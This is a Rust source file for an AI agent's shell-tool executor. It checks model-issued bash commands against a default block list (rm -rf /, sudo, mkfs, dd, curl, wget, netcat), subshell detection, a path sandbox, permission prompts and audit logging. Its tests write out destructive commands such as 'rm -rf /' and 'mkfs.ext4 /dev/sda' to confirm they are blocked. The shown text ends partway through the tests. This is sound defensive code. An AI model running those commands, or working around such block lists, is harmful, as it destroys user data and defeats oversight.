1use std::path::PathBuf;
5use std::time::{Duration, Instant};
6
7use tokio::process::Command;
8use tokio_util::sync::CancellationToken;
9
10use schemars::JsonSchema;
11use serde::Deserialize;
12
13use std::sync::Arc;
14
15use crate::audit::{AuditEntry, AuditLogger, AuditResult, chrono_now};
16use crate::config::ShellConfig;
17use crate::executor::{
18 FilterStats, ToolCall, ToolError, ToolEvent, ToolEventTx, ToolExecutor, ToolOutput,
19};
20use crate::filter::{OutputFilterRegistry, sanitize_output};
21use crate::permissions::{PermissionAction, PermissionPolicy};
22
23const DEFAULT_BLOCKED: &[&str] = &[
24 "rm -rf /", "sudo", "mkfs", "dd if=", "curl", "wget", "nc ", "ncat", "netcat", "shutdown",
25 "reboot", "halt",
26];
27
28pub const DEFAULT_BLOCKED_COMMANDS: &[&str] = DEFAULT_BLOCKED;
33
34pub const SHELL_INTERPRETERS: &[&str] =
36 &["bash", "sh", "zsh", "fish", "dash", "ksh", "csh", "tcsh"];
37
38const SUBSHELL_METACHARS: &[&str] = &["$(", "`", "<(", ">("];
42
43#[must_use]
51pub fn check_blocklist(command: &str, blocklist: &[String]) -> Option<String> {
52 let lower = command.to_lowercase();
53 for meta in SUBSHELL_METACHARS {
55 if lower.contains(meta) {
56 return Some((*meta).to_owned());
57 }
58 }
59 let cleaned = strip_shell_escapes(&lower);
60 let commands = tokenize_commands(&cleaned);
61 for blocked in blocklist {
62 for cmd_tokens in &commands {
63 if tokens_match_pattern(cmd_tokens, blocked) {
64 return Some(blocked.clone());
65 }
66 }
67 }
68 None
69}
70
71#[must_use]
76pub fn effective_shell_command<'a>(binary: &str, args: &'a [String]) -> Option<&'a str> {
77 let base = binary.rsplit('/').next().unwrap_or(binary);
78 if !SHELL_INTERPRETERS.contains(&base) {
79 return None;
80 }
81 let pos = args.iter().position(|a| a == "-c")?;
83 args.get(pos + 1).map(String::as_str)
84}
85
86const NETWORK_COMMANDS: &[&str] = &["curl", "wget", "nc ", "ncat", "netcat"];
87
88#[derive(Deserialize, JsonSchema)]
89pub(crate) struct BashParams {
90 command: String,
92}
93
94#[derive(Debug)]
96pub struct ShellExecutor {
97 timeout: Duration,
98 blocked_commands: Vec<String>,
99 allowed_paths: Vec<PathBuf>,
100 confirm_patterns: Vec<String>,
101 audit_logger: Option<Arc<AuditLogger>>,
102 tool_event_tx: Option<ToolEventTx>,
103 permission_policy: Option<PermissionPolicy>,
104 output_filter_registry: Option<OutputFilterRegistry>,
105 cancel_token: Option<CancellationToken>,
106 skill_env: std::sync::RwLock<Option<std::collections::HashMap<String, String>>>,
107}
108
109impl ShellExecutor {
110 #[must_use]
111 pub fn new(config: &ShellConfig) -> Self {
112 let allowed: Vec<String> = config
113 .allowed_commands
114 .iter()
115 .map(|s| s.to_lowercase())
116 .collect();
117
118 let mut blocked: Vec<String> = DEFAULT_BLOCKED
119 .iter()
120 .filter(|s| !allowed.contains(&s.to_lowercase()))
121 .map(|s| (*s).to_owned())
122 .collect();
123 blocked.extend(config.blocked_commands.iter().map(|s| s.to_lowercase()));
124
125 if !config.allow_network {
126 for cmd in NETWORK_COMMANDS {
127 let lower = cmd.to_lowercase();
128 if !blocked.contains(&lower) {
129 blocked.push(lower);
130 }
131 }
132 }
133
134 blocked.sort();
135 blocked.dedup();
136
137 let allowed_paths = if config.allowed_paths.is_empty() {
138 vec![std::env::current_dir().unwrap_or_else(|_| PathBuf::from("."))]
139 } else {
140 config.allowed_paths.iter().map(PathBuf::from).collect()
141 };
142
143 Self {
144 timeout: Duration::from_secs(config.timeout),
145 blocked_commands: blocked,
146 allowed_paths,
147 confirm_patterns: config.confirm_patterns.clone(),
148 audit_logger: None,
149 tool_event_tx: None,
150 permission_policy: None,
151 output_filter_registry: None,
152 cancel_token: None,
153 skill_env: std::sync::RwLock::new(None),
154 }
155 }
156
157 pub fn set_skill_env(&self, env: Option<std::collections::HashMap<String, String>>) {
159 match self.skill_env.write() {
160 Ok(mut guard) => *guard = env,
161 Err(e) => tracing::error!("skill_env RwLock poisoned: {e}"),
162 }
163 }
164
165 #[must_use]
166 pub fn with_audit(mut self, logger: Arc<AuditLogger>) -> Self {
167 self.audit_logger = Some(logger);
168 self
169 }
170
171 #[must_use]
172 pub fn with_tool_event_tx(mut self, tx: ToolEventTx) -> Self {
173 self.tool_event_tx = Some(tx);
174 self
175 }
176
177 #[must_use]
178 pub fn with_permissions(mut self, policy: PermissionPolicy) -> Self {
179 self.permission_policy = Some(policy);
180 self
181 }
182
183 #[must_use]
184 pub fn with_cancel_token(mut self, token: CancellationToken) -> Self {
185 self.cancel_token = Some(token);
186 self
187 }
188
189 #[must_use]
190 pub fn with_output_filters(mut self, registry: OutputFilterRegistry) -> Self {
191 self.output_filter_registry = Some(registry);
192 self
193 }
194
195 pub async fn execute_confirmed(&self, response: &str) -> Result<Option<ToolOutput>, ToolError> {
201 self.execute_inner(response, true).await
202 }
203
204 async fn execute_inner(
205 &self,
206 response: &str,
207 skip_confirm: bool,
208 ) -> Result<Option<ToolOutput>, ToolError> {
209 let blocks = extract_bash_blocks(response);
210 if blocks.is_empty() {
211 return Ok(None);
212 }
213
214 let mut outputs = Vec::with_capacity(blocks.len());
215 let mut cumulative_filter_stats: Option<FilterStats> = None;
216 #[allow(clippy::cast_possible_truncation)]
217 let blocks_executed = blocks.len() as u32;
218
219 for block in &blocks {
220 let (output_line, per_block_stats) = self.execute_block(block, skip_confirm).await?;
221 if let Some(fs) = per_block_stats {
222 let stats = cumulative_filter_stats.get_or_insert_with(FilterStats::default);
223 stats.raw_chars += fs.raw_chars;
224 stats.filtered_chars += fs.filtered_chars;
225 stats.raw_lines += fs.raw_lines;
226 stats.filtered_lines += fs.filtered_lines;
227 stats.confidence = Some(match (stats.confidence, fs.confidence) {
228 (Some(prev), Some(cur)) => crate::filter::worse_confidence(prev, cur),
229 (Some(prev), None) => prev,
230 (None, Some(cur)) => cur,
231 (None, None) => unreachable!(),
232 });
233 if stats.command.is_none() {
234 stats.command = fs.command;
235 }
236 if stats.kept_lines.is_empty() && !fs.kept_lines.is_empty() {
237 stats.kept_lines = fs.kept_lines;
238 }
239 }
240 outputs.push(output_line);
241 }
242
243 Ok(Some(ToolOutput {
244 tool_name: "bash".to_owned(),
245 summary: outputs.join("\n\n"),
246 blocks_executed,
247 filter_stats: cumulative_filter_stats,
248 diff: None,
249 streamed: self.tool_event_tx.is_some(),
250 terminal_id: None,
251 locations: None,
252 raw_response: None,
253 }))
254 }
255
256 async fn execute_block(
257 &self,
258 block: &str,
259 skip_confirm: bool,
260 ) -> Result<(String, Option<FilterStats>), ToolError> {
261 self.check_permissions(block, skip_confirm).await?;
262 self.validate_sandbox(block)?;
263
264 if let Some(ref tx) = self.tool_event_tx {
265 let _ = tx.send(ToolEvent::Started {
266 tool_name: "bash".to_owned(),
267 command: block.to_owned(),
268 });
269 }
270
271 let start = Instant::now();
272 let skill_env_snapshot: Option<std::collections::HashMap<String, String>> =
273 self.skill_env.read().ok().and_then(|g| g.clone());
274 let (out, exit_code) = execute_bash(
275 block,
276 self.timeout,
277 self.tool_event_tx.as_ref(),
278 self.cancel_token.as_ref(),
279 skill_env_snapshot.as_ref(),
280 )
281 .await;
282 if exit_code == 130
283 && self
284 .cancel_token
285 .as_ref()
286 .is_some_and(CancellationToken::is_cancelled)
287 {
288 return Err(ToolError::Cancelled);
289 }
290 #[allow(clippy::cast_possible_truncation)]
291 let duration_ms = start.elapsed().as_millis() as u64;
292
293 let is_timeout = out.contains("[error] command timed out");
294 let audit_result = if is_timeout {
295 AuditResult::Timeout
296 } else if out.contains("[error]") || out.contains("[stderr]") {
297 AuditResult::Error {
298 message: out.clone(),
299 }
300 } else {
301 AuditResult::Success
302 };
303 self.log_audit(block, audit_result, duration_ms).await;
304
305 if is_timeout {
306 if let Some(ref tx) = self.tool_event_tx {
307 let _ = tx.send(ToolEvent::Completed {
308 tool_name: "bash".to_owned(),
309 command: block.to_owned(),
310 output: out.clone(),
311 success: false,
312 filter_stats: None,
313 diff: None,
314 });
315 }
316 return Err(ToolError::Timeout {
317 timeout_secs: self.timeout.as_secs(),
318 });
319 }
320
321 let sanitized = sanitize_output(&out);
322 let mut per_block_stats: Option<FilterStats> = None;
323 let filtered = if let Some(ref registry) = self.output_filter_registry {
324 match registry.apply(block, &sanitized, exit_code) {
325 Some(fr) => {
326 tracing::debug!(
327 command = block,
328 raw = fr.raw_chars,
329 filtered = fr.filtered_chars,
330 savings_pct = fr.savings_pct(),
331 "output filter applied"
332 );
333 per_block_stats = Some(FilterStats {
334 raw_chars: fr.raw_chars,
335 filtered_chars: fr.filtered_chars,
336 raw_lines: fr.raw_lines,
337 filtered_lines: fr.filtered_lines,
338 confidence: Some(fr.confidence),
339 command: Some(block.to_owned()),
340 kept_lines: fr.kept_lines.clone(),
341 });
342 fr.output
343 }
344 None => sanitized,
345 }
346 } else {
347 sanitized
348 };
349
350 if let Some(ref tx) = self.tool_event_tx {
351 let _ = tx.send(ToolEvent::Completed {
352 tool_name: "bash".to_owned(),
353 command: block.to_owned(),
354 output: out.clone(),
355 success: !out.contains("[error]"),
356 filter_stats: per_block_stats.clone(),
357 diff: None,
358 });
359 }
360
361 Ok((format!("$ {block}\n{filtered}"), per_block_stats))
362 }
363
364 async fn check_permissions(&self, block: &str, skip_confirm: bool) -> Result<(), ToolError> {
366 if let Some(blocked) = self.find_blocked_command(block) {
369 self.log_audit(
370 block,
371 AuditResult::Blocked {
372 reason: format!("blocked command: {blocked}"),
373 },
374 0,
375 )
376 .await;
377 return Err(ToolError::Blocked {
378 command: blocked.to_owned(),
379 });
380 }
381
382 if let Some(ref policy) = self.permission_policy {
383 match policy.check("bash", block) {
384 PermissionAction::Deny => {
385 self.log_audit(
386 block,
387 AuditResult::Blocked {
388 reason: "denied by permission policy".to_owned(),
389 },
390 0,
391 )
392 .await;
393 return Err(ToolError::Blocked {
394 command: block.to_owned(),
395 });
396 }
397 PermissionAction::Ask if !skip_confirm => {
398 return Err(ToolError::ConfirmationRequired {
399 command: block.to_owned(),
400 });
401 }
402 _ => {}
403 }
404 } else if !skip_confirm && let Some(pattern) = self.find_confirm_command(block) {
405 return Err(ToolError::ConfirmationRequired {
406 command: pattern.to_owned(),
407 });
408 }
409
410 Ok(())
411 }
412
413 fn validate_sandbox(&self, code: &str) -> Result<(), ToolError> {
414 let cwd = std::env::current_dir().unwrap_or_default();
415
416 for token in extract_paths(code) {
417 if has_traversal(&token) {
418 return Err(ToolError::SandboxViolation { path: token });
419 }
420
421 let path = if token.starts_with('/') {
422 PathBuf::from(&token)
423 } else {
424 cwd.join(&token)
425 };
426 let canonical = path
427 .canonicalize()
428 .or_else(|_| std::path::absolute(&path))
429 .unwrap_or(path);
430 if !self
431 .allowed_paths
432 .iter()
433 .any(|allowed| canonical.starts_with(allowed))
434 {
435 return Err(ToolError::SandboxViolation {
436 path: canonical.display().to_string(),
437 });
438 }
439 }
440 Ok(())
441 }
442
443 fn find_blocked_command(&self, code: &str) -> Option<&str> {
478 let cleaned = strip_shell_escapes(&code.to_lowercase());
479 let commands = tokenize_commands(&cleaned);
480 for blocked in &self.blocked_commands {
481 for cmd_tokens in &commands {
482 if tokens_match_pattern(cmd_tokens, blocked) {
483 return Some(blocked.as_str());
484 }
485 }
486 }
487 for inner in extract_subshell_contents(&cleaned) {
489 let inner_commands = tokenize_commands(&inner);
490 for blocked in &self.blocked_commands {
491 for cmd_tokens in &inner_commands {
492 if tokens_match_pattern(cmd_tokens, blocked) {
493 return Some(blocked.as_str());
494 }
495 }
496 }
497 }
498 None
499 }
500
501 fn find_confirm_command(&self, code: &str) -> Option<&str> {
502 let normalized = code.to_lowercase();
503 for pattern in &self.confirm_patterns {
504 if normalized.contains(pattern.as_str()) {
505 return Some(pattern.as_str());
506 }
507 }
508 None
509 }
510
511 async fn log_audit(&self, command: &str, result: AuditResult, duration_ms: u64) {
512 if let Some(ref logger) = self.audit_logger {
513 let entry = AuditEntry {
514 timestamp: chrono_now(),
515 tool: "shell".into(),
516 command: command.into(),
517 result,
518 duration_ms,
519 };
520 logger.log(&entry).await;
521 }
522 }
523}
524
525impl ToolExecutor for ShellExecutor {
526 async fn execute(&self, response: &str) -> Result<Option<ToolOutput>, ToolError> {
527 self.execute_inner(response, false).await
528 }
529
530 fn tool_definitions(&self) -> Vec<crate::registry::ToolDef> {
531 use crate::registry::{InvocationHint, ToolDef};
532 vec![ToolDef {
533 id: "bash".into(),
534 description: "Execute a shell command and return stdout/stderr.\n\nParameters: command (string, required) - shell command to run\nReturns: stdout and stderr combined, prefixed with exit code\nErrors: Blocked if command matches security policy; Timeout after configured seconds; SandboxViolation if path outside allowed dirs\nExample: {\"command\": \"ls -la /tmp\"}".into(),
535 schema: schemars::schema_for!(BashParams),
536 invocation: InvocationHint::FencedBlock("bash"),
537 }]
538 }
539
540 async fn execute_tool_call(&self, call: &ToolCall) -> Result<Option<ToolOutput>, ToolError> {
541 if call.tool_id != "bash" {
542 return Ok(None);
543 }
544 let params: BashParams = crate::executor::deserialize_params(&call.params)?;
545 if params.command.is_empty() {
546 return Ok(None);
547 }
548 let command = ¶ms.command;
549 let synthetic = format!("```bash\n{command}\n```");
551 self.execute_inner(&synthetic, false).await
552 }
553
554 fn set_skill_env(&self, env: Option<std::collections::HashMap<String, String>>) {
555 ShellExecutor::set_skill_env(self, env);
556 }
557}
558
559pub(crate) fn strip_shell_escapes(input: &str) -> String {
563 let mut out = String::with_capacity(input.len());
564 let bytes = input.as_bytes();
565 let mut i = 0;
566 while i < bytes.len() {
567 if i + 1 < bytes.len() && bytes[i] == b'$' && bytes[i + 1] == b'\'' {
569 let mut j = i + 2; let mut decoded = String::new();
571 let mut valid = false;
572 while j < bytes.len() && bytes[j] != b'\'' {
573 if bytes[j] == b'\\' && j + 1 < bytes.len() {
574 let next = bytes[j + 1];
575 if next == b'x' && j + 3 < bytes.len() {
576 let hi = (bytes[j + 2] as char).to_digit(16);
578 let lo = (bytes[j + 3] as char).to_digit(16);
579 if let (Some(h), Some(l)) = (hi, lo) {
580 #[allow(clippy::cast_possible_truncation)]
581 let byte = ((h << 4) | l) as u8;
582 decoded.push(byte as char);
583 j += 4;
584 valid = true;
585 continue;
586 }
587 } else if next.is_ascii_digit() {
588 let mut val = u32::from(next - b'0');
590 let mut len = 2; if j + 2 < bytes.len() && bytes[j + 2].is_ascii_digit() {
592 val = val * 8 + u32::from(bytes[j + 2] - b'0');
593 len = 3;
594 if j + 3 < bytes.len() && bytes[j + 3].is_ascii_digit() {
595 val = val * 8 + u32::from(bytes[j + 3] - b'0');
596 len = 4;
597 }
598 }
599 #[allow(clippy::cast_possible_truncation)]
600 decoded.push((val & 0xFF) as u8 as char);
601 j += len;
602 valid = true;
603 continue;
604 }
605 decoded.push(next as char);
607 j += 2;
608 } else {
609 decoded.push(bytes[j] as char);
610 j += 1;
611 }
612 }
613 if j < bytes.len() && bytes[j] == b'\'' && valid {
614 out.push_str(&decoded);
615 i = j + 1;
616 continue;
617 }
618 }
620 if bytes[i] == b'\\' && i + 1 < bytes.len() && bytes[i + 1] == b'\n' {
622 i += 2;
623 continue;
624 }
625 if bytes[i] == b'\\' && i + 1 < bytes.len() && bytes[i + 1] != b'\n' {
627 i += 1;
628 out.push(bytes[i] as char);
629 i += 1;
630 continue;
631 }
632 if bytes[i] == b'"' || bytes[i] == b'\'' {
634 let quote = bytes[i];
635 i += 1;
636 while i < bytes.len() && bytes[i] != quote {
637 out.push(bytes[i] as char);
638 i += 1;
639 }
640 if i < bytes.len() {
641 i += 1; }
643 continue;
644 }
645 out.push(bytes[i] as char);
646 i += 1;
647 }
648 out
649}
650
651pub(crate) fn extract_subshell_contents(s: &str) -> Vec<String> {
661 let mut results = Vec::new();
662 let chars: Vec<char> = s.chars().collect();
663 let len = chars.len();
664 let mut i = 0;
665
666 while i < len {
667 if chars[i] == '`' {
669 let start = i + 1;
670 let mut j = start;
671 while j < len && chars[j] != '`' {
672 j += 1;
673 }
674 if j < len {
675 results.push(chars[start..j].iter().collect());
676 }
677 i = j + 1;
678 continue;
679 }
680
681 let next_is_open_paren = i + 1 < len && chars[i + 1] == '(';
683 let is_paren_subshell = next_is_open_paren && matches!(chars[i], '$' | '<' | '>');
684
685 if is_paren_subshell {
686 let start = i + 2;
687 let mut depth: usize = 1;
688 let mut j = start;
689 while j < len && depth > 0 {
690 match chars[j] {
691 '(' => depth += 1,
692 ')' => depth -= 1,
693 _ => {}
694 }
695 if depth > 0 {
696 j += 1;
697 } else {
698 break;
699 }
700 }
701 if depth == 0 {
702 results.push(chars[start..j].iter().collect());
703 }
704 i = j + 1;
705 continue;
706 }
707
708 i += 1;
709 }
710
711 results
712}
713
714pub(crate) fn tokenize_commands(normalized: &str) -> Vec<Vec<String>> {
717 let replaced = normalized.replace("||", "\n").replace("&&", "\n");
719 replaced
720 .split([';', '|', '\n'])
721 .map(|seg| {
722 seg.split_whitespace()
723 .map(str::to_owned)
724 .collect::<Vec<String>>()
725 })
726 .filter(|tokens| !tokens.is_empty())
727 .collect()
728}
729
730const TRANSPARENT_PREFIXES: &[&str] = &["env", "command", "exec", "nice", "nohup", "time", "xargs"];
733
734fn cmd_basename(tok: &str) -> &str {
736 tok.rsplit('/').next().unwrap_or(tok)
737}
738
739pub(crate) fn tokens_match_pattern(tokens: &[String], pattern: &str) -> bool {
746 if tokens.is_empty() || pattern.is_empty() {
747 return false;
748 }
749 let pattern = pattern.trim();
750 let pattern_tokens: Vec<&str> = pattern.split_whitespace().collect();
751 if pattern_tokens.is_empty() {
752 return false;
753 }
754
755 let start = tokens
757 .iter()
758 .position(|t| !TRANSPARENT_PREFIXES.contains(&cmd_basename(t)))
759 .unwrap_or(0);
760 let effective = &tokens[start..];
761 if effective.is_empty() {
762 return false;
763 }
764
765 if pattern_tokens.len() == 1 {
766 let pat = pattern_tokens[0];
767 let base = cmd_basename(&effective[0]);
768 base == pat || base.starts_with(&format!("{pat}."))
770 } else {
771 let n = pattern_tokens.len().min(effective.len());
773 let mut parts: Vec<&str> = vec![cmd_basename(&effective[0])];
774 parts.extend(effective[1..n].iter().map(String::as_str));
775 let joined = parts.join(" ");
776 if joined.starts_with(pattern) {
777 return true;
778 }
779 if effective.len() > n {
780 let mut parts2: Vec<&str> = vec![cmd_basename(&effective[0])];
781 parts2.extend(effective[1..=n].iter().map(String::as_str));
782 parts2.join(" ").starts_with(pattern)
783 } else {
784 false
785 }
786 }
787}
788
789fn extract_paths(code: &str) -> Vec<String> {
790 let mut result = Vec::new();
791
792 let mut tokens: Vec<String> = Vec::new();
794 let mut current = String::new();
795 let mut chars = code.chars().peekable();
796 while let Some(c) = chars.next() {
797 match c {
798 '"' | '\'' => {
799 let quote = c;
800 while let Some(&nc) = chars.peek() {
801 if nc == quote {
802 chars.next();
803 break;
804 }
805 current.push(chars.next().unwrap());
806 }
807 }
808 c if c.is_whitespace() || matches!(c, ';' | '|' | '&') => {
809 if !current.is_empty() {
810 tokens.push(std::mem::take(&mut current));
811 }
812 }
813 _ => current.push(c),
814 }
815 }
816 if !current.is_empty() {
817 tokens.push(current);
818 }
819
820 for token in tokens {
821 let trimmed = token.trim_end_matches([';', '&', '|']).to_owned();
822 if trimmed.is_empty() {
823 continue;
824 }
825 if trimmed.starts_with('/')
826 || trimmed.starts_with("./")
827 || trimmed.starts_with("../")
828 || trimmed == ".."
829 {
830 result.push(trimmed);
831 }
832 }
833 result
834}
835
836fn has_traversal(path: &str) -> bool {
837 path.split('/').any(|seg| seg == "..")
838}
839
840fn extract_bash_blocks(text: &str) -> Vec<&str> {
841 crate::executor::extract_fenced_blocks(text, "bash")
842}
843
844async fn kill_process_tree(child: &mut tokio::process::Child) {
848 #[cfg(unix)]
849 if let Some(pid) = child.id() {
850 let _ = Command::new("pkill")
851 .args(["-KILL", "-P", &pid.to_string()])
852 .status()
853 .await;
854 }
855 let _ = child.kill().await;
856}
857
858async fn execute_bash(
859 code: &str,
860 timeout: Duration,
861 event_tx: Option<&ToolEventTx>,
862 cancel_token: Option<&CancellationToken>,
863 extra_env: Option<&std::collections::HashMap<String, String>>,
864) -> (String, i32) {
865 use std::process::Stdio;
866 use tokio::io::{AsyncBufReadExt, BufReader};
867
868 let timeout_secs = timeout.as_secs();
869
870 let mut cmd = Command::new("bash");
871 cmd.arg("-c")
872 .arg(code)
873 .stdout(Stdio::piped())
874 .stderr(Stdio::piped());
875 if let Some(env) = extra_env {
876 cmd.envs(env);
877 }
878 let child_result = cmd.spawn();
879
880 let mut child = match child_result {
881 Ok(c) => c,
882 Err(e) => return (format!("[error] {e}"), 1),
883 };
884
885 let stdout = child.stdout.take().expect("stdout piped");
886 let stderr = child.stderr.take().expect("stderr piped");
887
888 let (line_tx, mut line_rx) = tokio::sync::mpsc::channel::<String>(64);
889
890 let stdout_tx = line_tx.clone();
891 tokio::spawn(async move {
892 let mut reader = BufReader::new(stdout);
893 let mut buf = String::new();
894 while reader.read_line(&mut buf).await.unwrap_or(0) > 0 {
895 let _ = stdout_tx.send(buf.clone()).await;
896 buf.clear();
897 }
898 });
899
900 tokio::spawn(async move {
901 let mut reader = BufReader::new(stderr);
902 let mut buf = String::new();
903 while reader.read_line(&mut buf).await.unwrap_or(0) > 0 {
904 let _ = line_tx.send(format!("[stderr] {buf}")).await;
905 buf.clear();
906 }
907 });
908
909 let mut combined = String::new();
910 let deadline = tokio::time::Instant::now() + timeout;
911
912 loop {
913 tokio::select! {
914 line = line_rx.recv() => {
915 match line {
916 Some(chunk) => {
917 if let Some(tx) = event_tx {
918 let _ = tx.send(ToolEvent::OutputChunk {
919 tool_name: "bash".to_owned(),
920 command: code.to_owned(),
921 chunk: chunk.clone(),
922 });
923 }
924 combined.push_str(&chunk);
925 }
926 None => break,
927 }
928 }
929 () = tokio::time::sleep_until(deadline) => {
930 kill_process_tree(&mut child).await;
931 return (format!("[error] command timed out after {timeout_secs}s"), 1);
932 }
933 () = async {
934 match cancel_token {
935 Some(t) => t.cancelled().await,
936 None => std::future::pending().await,
937 }
938 } => {
939 kill_process_tree(&mut child).await;
940 return ("[cancelled] operation aborted".to_string(), 130);
941 }
942 }
943 }
944
945 let status = child.wait().await;
946 let exit_code = status.ok().and_then(|s| s.code()).unwrap_or(1);
947
948 if combined.is_empty() {
949 ("(no output)".to_string(), exit_code)
950 } else {
951 (combined, exit_code)
952 }
953}
954
955#[cfg(test)]
956mod tests {
957 use super::*;
958
959 fn default_config() -> ShellConfig {
960 ShellConfig {
961 timeout: 30,
962 blocked_commands: Vec::new(),
963 allowed_commands: Vec::new(),
964 allowed_paths: Vec::new(),
965 allow_network: true,
966 confirm_patterns: Vec::new(),
967 }
968 }
969
970 fn sandbox_config(allowed_paths: Vec<String>) -> ShellConfig {
971 ShellConfig {
972 allowed_paths,
973 ..default_config()
974 }
975 }
976
977 #[test]
978 fn extract_single_bash_block() {
979 let text = "Here is code:\n```bash\necho hello\n```\nDone.";
980 let blocks = extract_bash_blocks(text);
981 assert_eq!(blocks, vec!["echo hello"]);
982 }
983
984 #[test]
985 fn extract_multiple_bash_blocks() {
986 let text = "```bash\nls\n```\ntext\n```bash\npwd\n```";
987 let blocks = extract_bash_blocks(text);
988 assert_eq!(blocks, vec!["ls", "pwd"]);
989 }
990
991 #[test]
992 fn ignore_non_bash_blocks() {
993 let text = "```python\nprint('hi')\n```\n```bash\necho hi\n```";
994 let blocks = extract_bash_blocks(text);
995 assert_eq!(blocks, vec!["echo hi"]);
996 }
997
998 #[test]
999 fn no_blocks_returns_none() {
1000 let text = "Just plain text, no code blocks.";
1001 let blocks = extract_bash_blocks(text);
1002 assert!(blocks.is_empty());
1003 }
1004
1005 #[test]
1006 fn unclosed_block_ignored() {
1007 let text = "```bash\necho hello";
1008 let blocks = extract_bash_blocks(text);
1009 assert!(blocks.is_empty());
1010 }
1011
1012 #[tokio::test]
1013 #[cfg(not(target_os = "windows"))]
1014 async fn execute_simple_command() {
1015 let (result, code) =
1016 execute_bash("echo hello", Duration::from_secs(30), None, None, None).await;
1017 assert!(result.contains("hello"));
1018 assert_eq!(code, 0);
1019 }
1020
1021 #[tokio::test]
1022 #[cfg(not(target_os = "windows"))]
1023 async fn execute_stderr_output() {
1024 let (result, _) =
1025 execute_bash("echo err >&2", Duration::from_secs(30), None, None, None).await;
1026 assert!(result.contains("[stderr]"));
1027 assert!(result.contains("err"));
1028 }
1029
1030 #[tokio::test]
1031 #[cfg(not(target_os = "windows"))]
1032 async fn execute_stdout_and_stderr_combined() {
1033 let (result, _) = execute_bash(
1034 "echo out && echo err >&2",
1035 Duration::from_secs(30),
1036 None,
1037 None,
1038 None,
1039 )
1040 .await;
1041 assert!(result.contains("out"));
1042 assert!(result.contains("[stderr]"));
1043 assert!(result.contains("err"));
1044 assert!(result.contains('\n'));
1045 }
1046
1047 #[tokio::test]
1048 #[cfg(not(target_os = "windows"))]
1049 async fn execute_empty_output() {
1050 let (result, code) = execute_bash("true", Duration::from_secs(30), None, None, None).await;
1051 assert_eq!(result, "(no output)");
1052 assert_eq!(code, 0);
1053 }
1054
1055 #[tokio::test]
1056 async fn blocked_command_rejected() {
1057 let config = ShellConfig {
1058 blocked_commands: vec!["rm -rf /".to_owned()],
1059 ..default_config()
1060 };
1061 let executor = ShellExecutor::new(&config);
1062 let response = "Run:\n```bash\nrm -rf /\n```";
1063 let result = executor.execute(response).await;
1064 assert!(matches!(result, Err(ToolError::Blocked { .. })));
1065 }
1066
1067 #[tokio::test]
1068 #[cfg(not(target_os = "windows"))]
1069 async fn timeout_enforced() {
1070 let config = ShellConfig {
1071 timeout: 1,
1072 ..default_config()
1073 };
1074 let executor = ShellExecutor::new(&config);
1075 let response = "Run:\n```bash\nsleep 60\n```";
1076 let result = executor.execute(response).await;
1077 assert!(matches!(
1078 result,
1079 Err(ToolError::Timeout { timeout_secs: 1 })
1080 ));
1081 }
1082
1083 #[tokio::test]
1084 #[cfg(not(target_os = "windows"))]
1085 async fn timeout_logged_as_audit_timeout_not_error() {
1086 use crate::audit::AuditLogger;
1087 use crate::config::AuditConfig;
1088 let dir = tempfile::tempdir().unwrap();
1089 let log_path = dir.path().join("audit.log");
1090 let audit_config = AuditConfig {
1091 enabled: true,
1092 destination: log_path.display().to_string(),
1093 };
1094 let logger = std::sync::Arc::new(AuditLogger::from_config(&audit_config).await.unwrap());
1095 let config = ShellConfig {
1096 timeout: 1,
1097 ..default_config()
1098 };
1099 let executor = ShellExecutor::new(&config).with_audit(logger);
1100 let _ = executor.execute("```bash\nsleep 60\n```").await;
1101 let content = tokio::fs::read_to_string(&log_path).await.unwrap();
1102 assert!(
1103 content.contains("\"type\":\"timeout\""),
1104 "expected AuditResult::Timeout, got: {content}"
1105 );
1106 assert!(
1107 !content.contains("\"type\":\"error\""),
1108 "timeout must not be logged as error: {content}"
1109 );
1110 }
1111
1112 #[tokio::test]
1113 #[cfg(not(target_os = "windows"))]
1114 async fn stderr_output_logged_as_audit_error() {
1115 use crate::audit::AuditLogger;
1116 use crate::config::AuditConfig;
1117 let dir = tempfile::tempdir().unwrap();
1118 let log_path = dir.path().join("audit.log");
1119 let audit_config = AuditConfig {
1120 enabled: true,
1121 destination: log_path.display().to_string(),
1122 };
1123 let logger = std::sync::Arc::new(AuditLogger::from_config(&audit_config).await.unwrap());
1124 let executor = ShellExecutor::new(&default_config()).with_audit(logger);
1125 let _ = executor.execute("```bash\necho err >&2\n```").await;
1126 let content = tokio::fs::read_to_string(&log_path).await.unwrap();
1127 assert!(
1128 content.contains("\"type\":\"error\""),
1129 "expected AuditResult::Error for [stderr] output, got: {content}"
1130 );
1131 }
1132
1133 #[tokio::test]
1134 async fn execute_no_blocks_returns_none() {
1135 let executor = ShellExecutor::new(&default_config());
1136 let result = executor.execute("plain text, no blocks").await;
1137 assert!(result.is_ok());
1138 assert!(result.unwrap().is_none());
1139 }
1140
1141 #[tokio::test]
1142 async fn execute_multiple_blocks_counted() {
1143 let executor = ShellExecutor::new(&default_config());
1144 let response = "```bash\necho one\n```\n```bash\necho two\n```";
1145 let result = executor.execute(response).await;
1146 let output = result.unwrap().unwrap();
1147 assert_eq!(output.blocks_executed, 2);
1148 assert!(output.summary.contains("one"));
1149 assert!(output.summary.contains("two"));
1150 }
1151
1152 #[test]
1155 fn default_blocked_always_active() {
1156 let executor = ShellExecutor::new(&default_config());
1157 assert!(executor.find_blocked_command("rm -rf /").is_some());
1158 assert!(executor.find_blocked_command("sudo apt install").is_some());
1159 assert!(
1160 executor
1161 .find_blocked_command("mkfs.ext4 /dev/sda")
1162 .is_some()
1163 );
1164 assert!(
1165 executor
1166 .find_blocked_command("dd if=/dev/zero of=disk")
1167 .is_some()
1168 );
1169 }
1170
1171 #[test]
1172 fn user_blocked_additive() {
1173 let config = ShellConfig {
1174 blocked_commands: vec!["custom-danger".to_owned()],
1175 ..default_config()
1176 };
1177 let executor = ShellExecutor::new(&config);
1178 assert!(executor.find_blocked_command("sudo rm").is_some());
1179 assert!(
1180 executor
1181 .find_blocked_command("custom-danger script")
1182 .is_some()
1183 );
1184 }
1185
1186 #[test]
1187 fn blocked_prefix_match() {
1188 let executor = ShellExecutor::new(&default_config());
1189 assert!(executor.find_blocked_command("rm -rf /home/user").is_some());
1190 }
1191
1192 #[test]
1193 fn blocked_infix_match() {
1194 let executor = ShellExecutor::new(&default_config());
1195 assert!(
1196 executor
1197 .find_blocked_command("echo hello && sudo rm")
1198 .is_some()
1199 );
1200 }
1201
1202 #[test]
1203 fn blocked_case_insensitive() {
1204 let executor = ShellExecutor::new(&default_config());
1205 assert!(executor.find_blocked_command("SUDO apt install").is_some());
1206 assert!(executor.find_blocked_command("Sudo apt install").is_some());
